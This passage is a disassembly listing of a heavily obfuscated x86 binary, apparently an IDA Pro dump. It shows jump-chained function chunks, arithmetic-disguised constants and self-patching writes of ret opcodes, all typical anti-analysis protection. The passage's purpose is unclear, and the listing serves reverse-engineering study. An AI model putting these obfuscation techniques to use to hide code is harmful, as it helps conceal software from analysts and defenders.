FOR sub_4481EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E5C7 loc_445AF7: ; CODE XREF: sub_44E5C7-118CCj mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jz loc_44C761 jmp loc_442CED ; END OF FUNCTION CHUNK FOR sub_44E5C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4383E0 loc_445B08: ; CODE XREF: sub_448B15+9j push eax mov eax, ecx push offset loc_43ADF0 jmp nullsub_119 ; END OF FUNCTION CHUNK FOR sub_4383E0 ; =============== S U B R O U T I N E ======================================= sub_445B15 proc near ; CODE XREF: sub_439765+10p ; y22d6.y.:004405B9j xchg edx, [esp+0] pop edx movzx eax, word ptr [eax] and eax, 0FFFF7FFFh push ecx push 0F3269778h pop ecx jmp loc_445EFE sub_445B15 endp ; --------------------------------------------------------------------------- push 7C285AAFh jmp loc_442F94 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B98D loc_445B37: ; CODE XREF: sub_43B98D-FAFj jno loc_44D942 xchg ebp, ecx jmp loc_449515 ; END OF FUNCTION CHUNK FOR sub_43B98D ; --------------------------------------------------------------------------- mov [eax], esi jmp sub_43F0F0 ; --------------------------------------------------------------------------- loc_445B4B: ; CODE XREF: y22d6.y.:00443FC3j push esi sbb eax, 0CCF5E8BFh loc_445B52: ; CODE XREF: y22d6.y.:loc_443FB0j rol ecx, 1Eh add ecx, 0A740C5D6h jmp loc_44C522 ; --------------------------------------------------------------------------- loc_445B60: ; CODE XREF: y22d6.y.:loc_443726j jnz loc_440BE5 jmp loc_447CEB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A359 loc_445B6B: ; CODE XREF: sub_44A359+2AB0j jz loc_4455A9 jmp loc_4478F4 ; END OF FUNCTION CHUNK FOR sub_44A359 ; --------------------------------------------------------------------------- loc_445B76: ; CODE XREF: y22d6.y.:0044AE2Fj push edi push 0E3EF9855h pop edi rol edi, 13h add edi, 3D948E29h call sub_44B080 loc_445B8B: ; CODE XREF: y22d6.y.:0043D906j jmp loc_44BA6D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B656 loc_445B90: ; CODE XREF: sub_43B656+Dj jmp loc_44D975 ; END OF FUNCTION CHUNK FOR sub_43B656 ; =============== S U B R O U T I N E ======================================= sub_445B95 proc near ; DATA XREF: sub_43B98D-AAEo ; FUNCTION CHUNK AT 00445998 SIZE 00000005 BYTES cdq add eax, [esp+0] push offset loc_43D1B7 jmp loc_445998 sub_445B95 endp ; =============== S U B R O U T I N E ======================================= sub_445BA3 proc near ; DATA XREF: y22d6.y.:00446003o mov [edi], eax pop edi lea eax, nullsub_354 loc_445BAC: ; CODE XREF: y22d6.y.:0044BDA6j mov byte ptr [eax], 0C3h jmp nullsub_354 sub_445BA3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg ebx, [esp] mov edx, ebx jmp loc_43E339 ; --------------------------------------------------------------------------- locret_445BBE: ; CODE XREF: y22d6.y.:0043C010j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E86C loc_445BBF: ; CODE XREF: sub_43E86C+95CFj rol edi, 0Dh jmp loc_43A1DF ; END OF FUNCTION CHUNK FOR sub_43E86C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44371A loc_445BC7: ; CODE XREF: sub_44371A+6j pop ebp mov eax, ds:dword_444B90 or eax, eax jnz loc_43D76F jmp loc_44A80E ; END OF FUNCTION CHUNK FOR sub_44371A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C758 loc_445BDB: ; CODE XREF: sub_44C758:loc_444F6Fj push esi push 198882ECh xchg eax, [esp+0Ch+var_C] mov esi, eax pop eax jmp loc_44A1CE ; END OF FUNCTION CHUNK FOR sub_44C758 ; --------------------------------------------------------------------------- loc_445BEC: ; CODE XREF: y22d6.y.:0043756Ej add edx, 0A1813528h xchg edx, [esp] jmp loc_44C21D ; --------------------------------------------------------------------------- loc_445BFA: ; CODE XREF: y22d6.y.:0044A40Ej jz loc_43D055 loc_445C00: ; CODE XREF: y22d6.y.:00438E52j jmp loc_441F4F ; --------------------------------------------------------------------------- jl loc_43B02B pop ebx adc edi, 0F7AD2CE3h cmp edx, 12533707h jmp loc_43D04F ; --------------------------------------------------------------------------- loc_445C1D: ; CODE XREF: y22d6.y.:00445A8Dj mov edx, [edx] or edx, edx jnz loc_43774C jmp loc_441D22 ; --------------------------------------------------------------------------- loc_445C2C: ; CODE XREF: y22d6.y.:00444A0Ej mov eax, 24DE0EA8h call sub_4407AE ; START OF FUNCTION CHUNK FOR sub_441F08 loc_445C36: ; CODE XREF: sub_441F08:loc_445136j ; sub_441F08+A509j push 7BE9A006h or eax, 0A7594455h jmp loc_43F000 ; END OF FUNCTION CHUNK FOR sub_441F08 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_445C46: ; CODE XREF: sub_44271A:loc_4383D0j call sub_44D02E ; END OF FUNCTION CHUNK FOR sub_44271A ; START OF FUNCTION CHUNK FOR sub_43AD64 loc_445C4B: ; CODE XREF: sub_43AD64+Fj jmp loc_43AC1D ; END OF FUNCTION CHUNK FOR sub_43AD64 ; =============== S U B R O U T I N E ======================================= sub_445C50 proc near ; CODE XREF: y22d6.y.:0043A872p ; sub_448EB6-526Dj arg_C = dword ptr 10h ; FUNCTION CHUNK AT 00442111 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0044AAEB SIZE 00000009 BYTES xchg esi, [esp+0] pop esi push ecx mov ecx, [esp+arg_C] mov dword ptr [ecx], 10001h call sub_43F3AD loc_445C64: ; CODE XREF: sub_439E63+12E06j jmp loc_442111 sub_445C50 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BCA9 loc_445C69: ; CODE XREF: sub_43BCA9-41E3j jmp sub_449F8E ; END OF FUNCTION CHUNK FOR sub_43BCA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_445C6E: ; CODE XREF: sub_448EB6-BEAAj shl esi, 19h cdq ror ebp, 1Ah jmp loc_441AB4 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444E14 loc_445C7A: ; CODE XREF: sub_444E14:loc_43DEBEj xor ecx, 64064A26h add ecx, 70864EF4h call sub_43D9C7 loc_445C8B: ; CODE XREF: sub_44B1D2:loc_437753j cmp eax, 16A4A695h jmp loc_43A0B4 ; END OF FUNCTION CHUNK FOR sub_444E14 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4499C1 loc_445C96: ; CODE XREF: sub_4499C1+3j call sub_43CEE2 loc_445C9B: ; CODE XREF: sub_43BCA9-354j jmp sub_44C171 ; END OF FUNCTION CHUNK FOR sub_4499C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CFF2 loc_445CA0: ; CODE XREF: sub_43CFF2+6C38j sub ebp, 0B12A69B7h loc_445CA6: ; CODE XREF: sub_44D088:loc_44D099j mov eax, 0CF0182F6h call sub_43CA1A xor eax, 0E2EB2F0Ah rol eax, 19h push edx jmp loc_44E1E7 ; END OF FUNCTION CHUNK FOR sub_43CFF2 ; --------------------------------------------------------------------------- or eax, eax jnz loc_44B64E jmp loc_44A9A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CFF2 loc_445CCC: ; CODE XREF: sub_43CFF2+11473j push offset sub_443A5C jmp nullsub_282 ; END OF FUNCTION CHUNK FOR sub_43CFF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CEE2 loc_445CD6: ; CODE XREF: sub_43CEE2:loc_437ADBj call sub_449CBB ; END OF FUNCTION CHUNK FOR sub_43CEE2 ; START OF FUNCTION CHUNK FOR sub_43E86C loc_445CDB: ; CODE XREF: sub_43E86C+1j jmp loc_4398E2 ; END OF FUNCTION CHUNK FOR sub_43E86C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E7BF loc_445CE0: ; CODE XREF: sub_43E7BF-763Cj jmp loc_44C009 ; END OF FUNCTION CHUNK FOR sub_43E7BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FBC3 loc_445CE5: ; CODE XREF: sub_43FBC3-46E1j test ebx, eax jmp loc_43B470 ; END OF FUNCTION CHUNK FOR sub_43FBC3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4450FD loc_445CEC: ; CODE XREF: sub_4450FD:loc_43E8C0j shl ebx, 3 loc_445CEF: ; CODE XREF: sub_4450FD:loc_43E8B9j and eax, 0C2C2A6FBh js loc_440959 loc_445CFB: ; CODE XREF: sub_44122D+Cj jmp loc_44DB11 ; END OF FUNCTION CHUNK FOR sub_4450FD ; --------------------------------------------------------------------------- mov eax, edi or edx, ebx jmp loc_440951 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438880 loc_445D09: ; CODE XREF: sub_438880+1Dj push offset loc_441ACB jmp locret_448FEE ; END OF FUNCTION CHUNK FOR sub_438880 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_445D13: ; CODE XREF: sub_44057E+8j mov dword ptr [ebp-20h], 1 loc_445D1A: ; CODE XREF: sub_44057E+81ADj jnz loc_448767 mov eax, [ebp-18h] test dword ptr [eax], 0FFFF0000h jnz loc_448721 jmp loc_44D252 ; END OF FUNCTION CHUNK FOR sub_44057E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_280. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D83F loc_445D35: ; CODE XREF: sub_44D83F+Bj jmp locret_4490E3 ; END OF FUNCTION CHUNK FOR sub_44D83F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_443D70 loc_445D3A: ; CODE XREF: sub_443D70+8j jmp loc_438E8E ; END OF FUNCTION CHUNK FOR sub_443D70 ; --------------------------------------------------------------------------- loc_445D3F: ; CODE XREF: y22d6.y.:loc_43CA58j pop edx mov eax, [esp] push eax mov eax, edx xchg eax, [esp] call sub_44ABC9 push 0DDD19BD2h jmp loc_44B9A1 ; --------------------------------------------------------------------------- loc_445D58: ; DATA XREF: sub_441E5C:loc_4453D1o add ebx, 423DC726h add ebx, ebp push eax push 0B5590B45h jmp loc_44BE85 ; --------------------------------------------------------------------------- loc_445D6B: ; CODE XREF: y22d6.y.:0043B67Aj adc ebx, 13BAE0A1h ; START OF FUNCTION CHUNK FOR sub_44E2B6 loc_445D71: ; CODE XREF: sub_44E2B6:loc_43B668j add ebx, 45795BBh xchg ebx, [esp+0] jmp loc_43FF77 ; END OF FUNCTION CHUNK FOR sub_44E2B6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44256D loc_445D7F: ; CODE XREF: sub_44256D:loc_4398BFj call sub_43CA1A loc_445D84: ; CODE XREF: sub_43C242:loc_43C404j mov ds:off_41E194, eax lea eax, sub_44256D mov byte ptr [eax], 0C3h jmp loc_43EFFB ; --------------------------------------------------------------------------- loc_445D98: ; CODE XREF: sub_44256Dj pop edx mov eax, [esp+0] push edx call sub_43FF1B loc_445DA2: ; CODE XREF: sub_44D64C-C82Aj jmp loc_4431BD ; END OF FUNCTION CHUNK FOR sub_44256D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BBBA loc_445DA7: ; CODE XREF: sub_44BBBA-112A0j jmp loc_44523D ; END OF FUNCTION CHUNK FOR sub_44BBBA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D20E loc_445DAC: ; CODE XREF: sub_43D20E-4F77j ; y22d6.y.:loc_43AEE9j jmp loc_439C1A ; END OF FUNCTION CHUNK FOR sub_43D20E ; =============== S U B R O U T I N E ======================================= sub_445DB1 proc near ; CODE XREF: sub_43760Ap ; y22d6.y.:00449395j ; FUNCTION CHUNK AT 0043BBA2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0044A2E1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044B520 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi push ebp mov ebp, esp jb loc_43BBA2 add esp, 0FFFFFFECh mov eax, offset dword_446DC0 push offset sub_443EF1 jmp loc_44B520 sub_445DB1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447E7D loc_445DD0: ; CODE XREF: sub_447E7D+Aj mov ebp, esi xchg ebp, [esp+0] mov esi, edx loc_445DD7: ; CODE XREF: y22d6.y.:loc_443FC8j xchg esi, [esp+0] call sub_442060 mov eax, 0C684C00Ch jmp sub_43C694 ; END OF FUNCTION CHUNK FOR sub_447E7D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7D4 loc_445DE9: ; CODE XREF: sub_43B7D4+A19Fj jl sub_43BCA9 ja loc_44A962 jmp loc_44B25A ; END OF FUNCTION CHUNK FOR sub_43B7D4 ; --------------------------------------------------------------------------- cmp edx, 7001F59Dh jmp loc_43F79E ; --------------------------------------------------------------------------- loc_445E05: ; CODE XREF: y22d6.y.:loc_442AF5j rol ecx, 0Dh jb loc_439D9E shr esi, 0Bh jmp loc_439D95 ; --------------------------------------------------------------------------- loc_445E16: ; CODE XREF: y22d6.y.:loc_442379j jz loc_444BD3 jmp loc_445037 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E81B loc_445E21: ; CODE XREF: sub_43E81B:loc_4498C7j add eax, 0BF313041h add eax, ebp add eax, 366A8F79h push eax mov eax, [ebp-4] push esi mov esi, ecx jmp loc_447EB0 ; END OF FUNCTION CHUNK FOR sub_43E81B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_269. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_445E3C: ; CODE XREF: y22d6.y.:00438540j jmp loc_4492DB ; =============== S U B R O U T I N E ======================================= sub_445E41 proc near ; CODE XREF: y22d6.y.:0043E0E9p ; y22d6.y.:0044E3E8j xchg edx, [esp+0] pop edx push 17C6C0C2h pop edi add edi, 23DBE4BBh sub_445E41 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_43ED4E loc_445E51: ; CODE XREF: sub_43ED4E:loc_43BE59j or edi, 25417B55h add edi, 0C05DE203h mov [edi], eax jmp loc_44C582 ; END OF FUNCTION CHUNK FOR sub_43ED4E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_445E64: ; CODE XREF: sub_4432B8+252j jns loc_44024A jmp sub_448EB6 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C3DD loc_445E6F: ; CODE XREF: sub_43C3DD-14ABj or ebp, 14573D4Dh jmp loc_43BBD7 ; END OF FUNCTION CHUNK FOR sub_43C3DD ; --------------------------------------------------------------------------- not eax jmp sub_441191 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_36. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448C77 loc_445E82: ; CODE XREF: sub_448C77-16A0j jmp loc_442C19 ; END OF FUNCTION CHUNK FOR sub_448C77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_445E87: ; CODE XREF: sub_448EB6:loc_448F50j sbb ebp, eax adc edx, 0ED0F94F5h xchg ebx, [edx] jmp loc_43B9B1 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- loc_445E96: ; CODE XREF: y22d6.y.:0044C3A8j pop edi xchg ecx, [esp] mov ebp, ecx pop ecx retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AA69 loc_445E9E: ; CODE XREF: sub_44AA69:loc_4494C3j mov eax, ds:dword_44186C or eax, eax jnz loc_44B2AE jmp loc_44A8D0 ; END OF FUNCTION CHUNK FOR sub_44AA69 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4383E0 loc_445EB1: ; CODE XREF: sub_4383E0:loc_44E5C2j mov edx, eax jmp loc_43F1C4 ; END OF FUNCTION CHUNK FOR sub_4383E0 ; --------------------------------------------------------------------------- loc_445EB8: ; CODE XREF: y22d6.y.:00440E9Ej mov edx, ds:dword_4401EC or edx, edx jnz loc_446F79 jmp loc_4470D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437D47 loc_445ECB: ; CODE XREF: sub_437D47:loc_449ECAj xchg esi, [esp-4+arg_0] jmp loc_44B2A4 ; END OF FUNCTION CHUNK FOR sub_437D47 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4383E0 loc_445ED3: ; CODE XREF: sub_4383E0+24j jl loc_44E1F7 xor eax, 1D903300h jmp loc_43C4E3 ; END OF FUNCTION CHUNK FOR sub_4383E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4491D8 loc_445EE4: ; CODE XREF: sub_4491D8:loc_44C486j mov edi, edx pop edx add edi, 0FDAB0ADCh test edi, 20h jmp loc_43D564 ; END OF FUNCTION CHUNK FOR sub_4491D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_445EF8: ; CODE XREF: sub_44AEDA:loc_43A4D6j jge loc_43C098 loc_445EFE: ; CODE XREF: sub_445B15+13j jmp loc_43DFDD ; END OF FUNCTION CHUNK FOR sub_44AEDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F501 loc_445F03: ; CODE XREF: sub_43F501+4CB2j jmp loc_43D8AA ; END OF FUNCTION CHUNK FOR sub_43F501 ; --------------------------------------------------------------------------- loc_445F08: ; CODE XREF: y22d6.y.:004406E1j jmp nullsub_360 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43923C loc_445F0D: ; CODE XREF: sub_43923C+6j jmp loc_441E7A ; END OF FUNCTION CHUNK FOR sub_43923C ; --------------------------------------------------------------------------- jle loc_43D4FA sbb esi, 4E6BA6A3h cdq adc ebx, eax xor eax, 717C467Ch jmp loc_43C098 ; --------------------------------------------------------------------------- loc_445F2C: ; CODE XREF: y22d6.y.:0044A6B5j pop ebp ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_445F2D: ; CODE XREF: sub_44BCC2:loc_437D08j xor eax, 597A60BDh and eax, 9D34FF08h xor eax, 1901C763h jmp loc_44A260 ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; =============== S U B R O U T I N E ======================================= sub_445F44 proc near ; DATA XREF: y22d6.y.:loc_442911o ; FUNCTION CHUNK AT 0044BB8D SIZE 00000005 BYTES xchg edx, [esp+0] jmp loc_44BB8D sub_445F44 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AA69 loc_445F4C: ; CODE XREF: sub_44AA69-10B75j push esi push edi mov edi, eax xchg edi, [esp+0Ch+var_C] mov eax, edi xchg eax, [esp+0Ch+var_C] push ebx push ecx jmp loc_43D312 ; END OF FUNCTION CHUNK FOR sub_44AA69 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_443169 loc_445F5F: ; CODE XREF: sub_443169:loc_440573j lea eax, sub_441030 mov byte ptr [eax], 0C3h jmp sub_441030 ; END OF FUNCTION CHUNK FOR sub_443169 ; --------------------------------------------------------------------------- call nullsub_332 jmp ds:dword_41E084 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C6D7 loc_445F78: ; CODE XREF: sub_43C6D7+11E13j jmp loc_43AC98 ; END OF FUNCTION CHUNK FOR sub_43C6D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44DB81 loc_445F7D: ; CODE XREF: sub_44DB81-6110j jmp loc_44423D ; END OF FUNCTION CHUNK FOR sub_44DB81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444F8B loc_445F82: ; CODE XREF: sub_444F8B+13j jmp nullsub_46 ; END OF FUNCTION CHUNK FOR sub_444F8B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_332. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_44153B ; --------------------------------------------------------------------------- loc_445F8D: ; CODE XREF: y22d6.y.:loc_446161j jz loc_4447C6 jmp loc_441978 ; =============== S U B R O U T I N E ======================================= sub_445F98 proc near ; CODE XREF: sub_44B011:loc_43B6B7p ; y22d6.y.:0043F951j xchg esi, [esp+0] pop esi mov ebx, edi pop edi jmp loc_440C55 sub_445F98 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4480DE loc_445FA4: ; CODE XREF: sub_4480DE:loc_446F88j ; y22d6.y.:loc_44AC83j mov eax, [ebp+var_4] call sub_43A3A9 test al, al jnz loc_43B3E6 ; END OF FUNCTION CHUNK FOR sub_4480DE ; START OF FUNCTION CHUNK FOR sub_43DD42 loc_445FB4: ; CODE XREF: sub_4480DE-FE33j ; sub_4480DE-CB2Cj ... pop ecx pop ecx jmp loc_43B3E4 ; END OF FUNCTION CHUNK FOR sub_43DD42 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_233. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_445FBC: ; CODE XREF: y22d6.y.:004460E4j jnz loc_44A0CE jmp loc_444149 ; --------------------------------------------------------------------------- loc_445FC7: ; DATA XREF: sub_44BEA6+7o push 2B9C1ECEh pop esi and esi, 768A9C73h xor esi, ds:4000E2h add esi, 0C4D3BD21h xchg esi, [esp] jmp loc_44648D ; --------------------------------------------------------------------------- call sub_44A9DF jmp loc_44E67B ; --------------------------------------------------------------------------- loc_445FF1: ; CODE XREF: y22d6.y.:0043C1BAj ; y22d6.y.:0043DC09j and edi, 241F0C40h xor edi, 0A679364Ah add edi, 59CFA646h push offset sub_445BA3 jmp locret_44DDFB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A359 loc_44600D: ; CODE XREF: sub_44A359-9A40j popf jmp loc_43E2F0 ; END OF FUNCTION CHUNK FOR sub_44A359 ; --------------------------------------------------------------------------- loc_446013: ; CODE XREF: y22d6.y.:0043DDF1j js loc_43EFC8 ; START OF FUNCTION CHUNK FOR sub_43B201 loc_446019: ; CODE XREF: sub_43B201:loc_43DDDCj sub ebx, 98F37061h or ebx, 0CEF2F7Ah add ebx, 0E100C01Eh jmp loc_445098 ; END OF FUNCTION CHUNK FOR sub_43B201 ; --------------------------------------------------------------------------- sbb ecx, ebp jmp loc_4456C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44633F loc_446037: ; CODE XREF: sub_44633F:loc_43EB81j push edx call sub_438E86 push 19AAB1E8h pop eax rol eax, 11h add eax, 0F8129464h jmp loc_438F0D ; END OF FUNCTION CHUNK FOR sub_44633F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440330 loc_446051: ; CODE XREF: sub_440330+Aj mov al, [eax] jno loc_43DF0B sub al, 99h push 2FE918Ah pop edx add edx, 0EAB82A93h rol edx, 9 cmp edx, 0FD07A6ADh jmp loc_4377A6 ; END OF FUNCTION CHUNK FOR sub_440330 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_446075: ; CODE XREF: sub_448EB6+7Dj test ebx, ecx jmp loc_442CCE ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- loc_44607C: ; CODE XREF: y22d6.y.:0044B191j jle loc_438290 ; =============== S U B R O U T I N E ======================================= sub_446082 proc near ; CODE XREF: sub_4404E5-8019p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004372E9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00438658 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043BE57 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0043D71C SIZE 00000016 BYTES xchg edi, [esp-4+arg_0] pop edi xchg ebx, [esp+0] mov ebp, ebx pop ebx xor eax, eax jmp loc_4372E9 sub_446082 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_446093: ; CODE XREF: y22d6.y.:loc_44A46Aj pop edi xor edi, 8F630811h or edi, 0FB99D72Bh and edi, 0FEABEB68h add edi, 5B81598h mov [edi], eax pop edi jmp loc_441C99 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444DB4 loc_4460B4: ; CODE XREF: sub_444DB4+14j test eax, eax jl loc_44DA43 inc eax mov [ebp-24h], eax mov dword ptr [ebp-18h], 0 jmp loc_44DCAD ; END OF FUNCTION CHUNK FOR sub_444DB4 ; --------------------------------------------------------------------------- test ecx, 0E2DCDB5Fh jmp loc_44A5B1 ; --------------------------------------------------------------------------- loc_4460D7: ; DATA XREF: y22d6.y.:0044C572o mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_43E2F2 jmp loc_445FBC ; --------------------------------------------------------------------------- loc_4460E9: ; CODE XREF: y22d6.y.:0043F6E7j jnz loc_440573 add ebp, 0FB2AD2CCh ror ebp, 0Fh cdq jmp loc_43F329 ; --------------------------------------------------------------------------- loc_4460FE: ; CODE XREF: y22d6.y.:loc_444AD2j pop ebp jno loc_439EBE mov eax, [esp] push edi mov edi, edx jmp loc_43B50D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440280 loc_446110: ; CODE XREF: y22d6.y.:0043846Aj ; sub_440280:loc_438EF6j popf xchg ecx, esi sub ecx, 0D02A2BCh jmp loc_43A8A9 ; END OF FUNCTION CHUNK FOR sub_440280 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_124. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44146B loc_44611F: ; CODE XREF: sub_44146B+A19Dj jmp sub_43E953 ; END OF FUNCTION CHUNK FOR sub_44146B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C758 loc_446124: ; CODE XREF: sub_44C758-2574j jmp loc_445877 ; END OF FUNCTION CHUNK FOR sub_44C758 ; --------------------------------------------------------------------------- and esi, 64184CBEh mov esi, edi jmp sub_44AB7B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C322 loc_446136: ; CODE XREF: sub_44C322:loc_4436CBj mov edx, 0CF0182F6h call sub_449739 jmp loc_4413E0 ; END OF FUNCTION CHUNK FOR sub_44C322 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_446145 proc near ; CODE XREF: sub_44C171j ; FUNCTION CHUNK AT 0043B4CD SIZE 0000000F BYTES push ebp loc_446146: ; CODE XREF: y22d6.y.:loc_448E38j mov ebp, esp push ecx cmp ds:dword_441974, 0 jnz loc_43B02B call nullsub_4 jmp loc_43B4CD sub_446145 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_312. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_446161: ; CODE XREF: y22d6.y.:00440B30j jmp loc_445F8D ; --------------------------------------------------------------------------- loc_446166: ; CODE XREF: y22d6.y.:loc_44C522j call sub_43DD60 ; START OF FUNCTION CHUNK FOR sub_4450FD loc_44616B: ; CODE XREF: sub_4450FD+8DFAj jmp loc_43930A ; END OF FUNCTION CHUNK FOR sub_4450FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44439D loc_446170: ; CODE XREF: sub_44439D-8A3j jmp loc_44C684 ; END OF FUNCTION CHUNK FOR sub_44439D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441DC7 loc_446175: ; CODE XREF: sub_441DC7-6355j jmp loc_44623D ; END OF FUNCTION CHUNK FOR sub_441DC7 ; =============== S U B R O U T I N E ======================================= sub_44617A proc near ; DATA XREF: y22d6.y.:0043A802o ; FUNCTION CHUNK AT 004397E1 SIZE 00000005 BYTES lea eax, nullsub_7 mov byte ptr [eax], 0C3h jmp loc_4397E1 sub_44617A endp ; =============== S U B R O U T I N E ======================================= sub_446188 proc near ; CODE XREF: sub_401000+343p ; sub_4049E1+261p ... push eax push offset loc_44A70E jmp nullsub_84 sub_446188 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449641 loc_446193: ; CODE XREF: sub_449641:loc_43D787j jz loc_43DC66 loc_446199: ; CODE XREF: sub_44585C-4C5Aj jmp loc_43D702 ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- xor edx, ebx sbb edi, 0B6AADA45h loc_4461A6: ; CODE XREF: y22d6.y.:0044D205j jmp loc_43DC60 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441191 loc_4461AB: ; CODE XREF: sub_441191:loc_44C4C8j and ecx, 0E017051Ah add ecx, 520BE409h xor eax, ecx pop ecx js loc_443A39 push offset sub_44D44A jmp loc_44D3EA ; END OF FUNCTION CHUNK FOR sub_441191 ; --------------------------------------------------------------------------- pop esi jmp sub_441B5E ; --------------------------------------------------------------------------- jg loc_447596 jmp sub_4395B1 ; --------------------------------------------------------------------------- loc_4461DB: ; CODE XREF: y22d6.y.:0044420Cj pop ebp xchg ebx, eax jno loc_44BAC1 ; START OF FUNCTION CHUNK FOR sub_43B09B loc_4461E4: ; CODE XREF: sub_43B09B+915Fj or eax, 0E3571D76h jmp loc_448394 ; END OF FUNCTION 